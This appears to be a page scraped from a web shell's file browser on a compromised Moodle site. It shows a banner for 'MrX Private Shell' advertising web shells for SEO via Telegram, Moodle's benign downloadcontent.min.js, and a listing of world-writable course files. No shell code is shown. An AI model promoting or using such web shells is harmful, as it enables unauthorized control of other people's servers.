__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
define("core_course/downloadcontent",["exports","core/config","core/custom_interaction_events","core/modal_save_cancel","jquery","core/pending","core/key_codes"],(function(_exports,_config,_custom_interaction_events,_modal_save_cancel,_jquery,_pending,_key_codes){function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj}}
/**
* Functions related to downloading course content.
*
* @module core_course/downloadcontent
* @copyright 2020 Michael Hawkins <michaelh@moodle.com>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/Object.defineProperty(_exports,"__esModule",{value:!0}),_exports.init=void 0,_config=_interopRequireDefault(_config),_custom_interaction_events=_interopRequireDefault(_custom_interaction_events),_modal_save_cancel=_interopRequireDefault(_modal_save_cancel),_jquery=_interopRequireDefault(_jquery),_pending=_interopRequireDefault(_pending);_exports.init=()=>{const pendingPromise=new _pending.default;(0,_jquery.default)("[data-downloadcourse]").on("click keydown",(e=>{"click"!==e.type&&e.which!==_key_codes.enter&&e.which!==_key_codes.space||(e.preventDefault(),displayDownloadConfirmation(e.currentTarget))})),pendingPromise.resolve()};const displayDownloadConfirmation=downloadModalTrigger=>_modal_save_cancel.default.create({title:downloadModalTrigger.dataset.downloadTitle,body:"<p>".concat(downloadModalTrigger.dataset.downloadBody,"</p>"),buttons:{save:downloadModalTrigger.dataset.downloadButtonText},templateContext:{classes:"downloadcoursecontentmodal"}}).then((modal=>{modal.show();const saveButton=document.querySelector('.modal .downloadcoursecontentmodal [data-action="save"]'),cancelButton=document.querySelector('.modal .downloadcoursecontentmodal [data-action="cancel"]'),modalContainer=document.querySelector('.modal[data-region="modal-container"]');return(0,_jquery.default)(saveButton).on(_custom_interaction_events.default.events.activate,(e=>downloadContent(e,downloadModalTrigger,modal))),(0,_jquery.default)(cancelButton).on(_custom_interaction_events.default.events.activate,(()=>{modal.destroy()})),modalContainer.querySelector(".downloadcoursecontentmodal")&&(0,_jquery.default)(modalContainer).on(_custom_interaction_events.default.events.activate,(()=>{modal.destroy()})),modal})),downloadContent=(e,downloadModalTrigger,modal)=>{e.preventDefault();const downloadForm=document.createElement("form");downloadForm.action=downloadModalTrigger.dataset.downloadLink,downloadForm.method="POST",downloadForm.target="_blank";const downloadSesskey=document.createElement("input");downloadSesskey.name="sesskey",downloadSesskey.value=_config.default.sesskey,downloadForm.appendChild(downloadSesskey),downloadForm.style.display="none",document.body.appendChild(downloadForm),downloadForm.submit(),document.body.removeChild(downloadForm),modal.destroy()}}));
//# sourceMappingURL=downloadcontent.min.js.map| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| actionbar | Folder | 0777 |
|
|
| local | Folder | 0777 |
|
|
| actions.min.js | File | 18.2 KB | 0777 |
|
| actions.min.js.map | File | 62.88 KB | 0777 |
|
| activitychooser.min.js | File | 8.84 KB | 0777 |
|
| activitychooser.min.js.map | File | 23.75 KB | 0777 |
|
| copy_modal.min.js | File | 3.9 KB | 0777 |
|
| copy_modal.min.js.map | File | 6.89 KB | 0777 |
|
| downloadcontent.min.js | File | 2.85 KB | 0777 |
|
| downloadcontent.min.js.map | File | 6.36 KB | 0777 |
|
| events.min.js | File | 450 B | 0777 |
|
| events.min.js.map | File | 1.45 KB | 0777 |
|
| formatchooser.min.js | File | 914 B | 0777 |
|
| formatchooser.min.js.map | File | 2.17 KB | 0777 |
|
| manual_completion_toggle.min.js | File | 3.68 KB | 0777 |
|
| manual_completion_toggle.min.js.map | File | 6.88 KB | 0777 |
|
| recommendations.min.js | File | 1.04 KB | 0777 |
|
| recommendations.min.js.map | File | 2.27 KB | 0777 |
|
| repository.min.js | File | 2.76 KB | 0777 |
|
| repository.min.js.map | File | 8.23 KB | 0777 |
|
| resetcourse.min.js | File | 1.3 KB | 0777 |
|
| resetcourse.min.js.map | File | 2.9 KB | 0777 |
|
| view.min.js | File | 1.54 KB | 0777 |
|
| view.min.js.map | File | 2.05 KB | 0777 |
|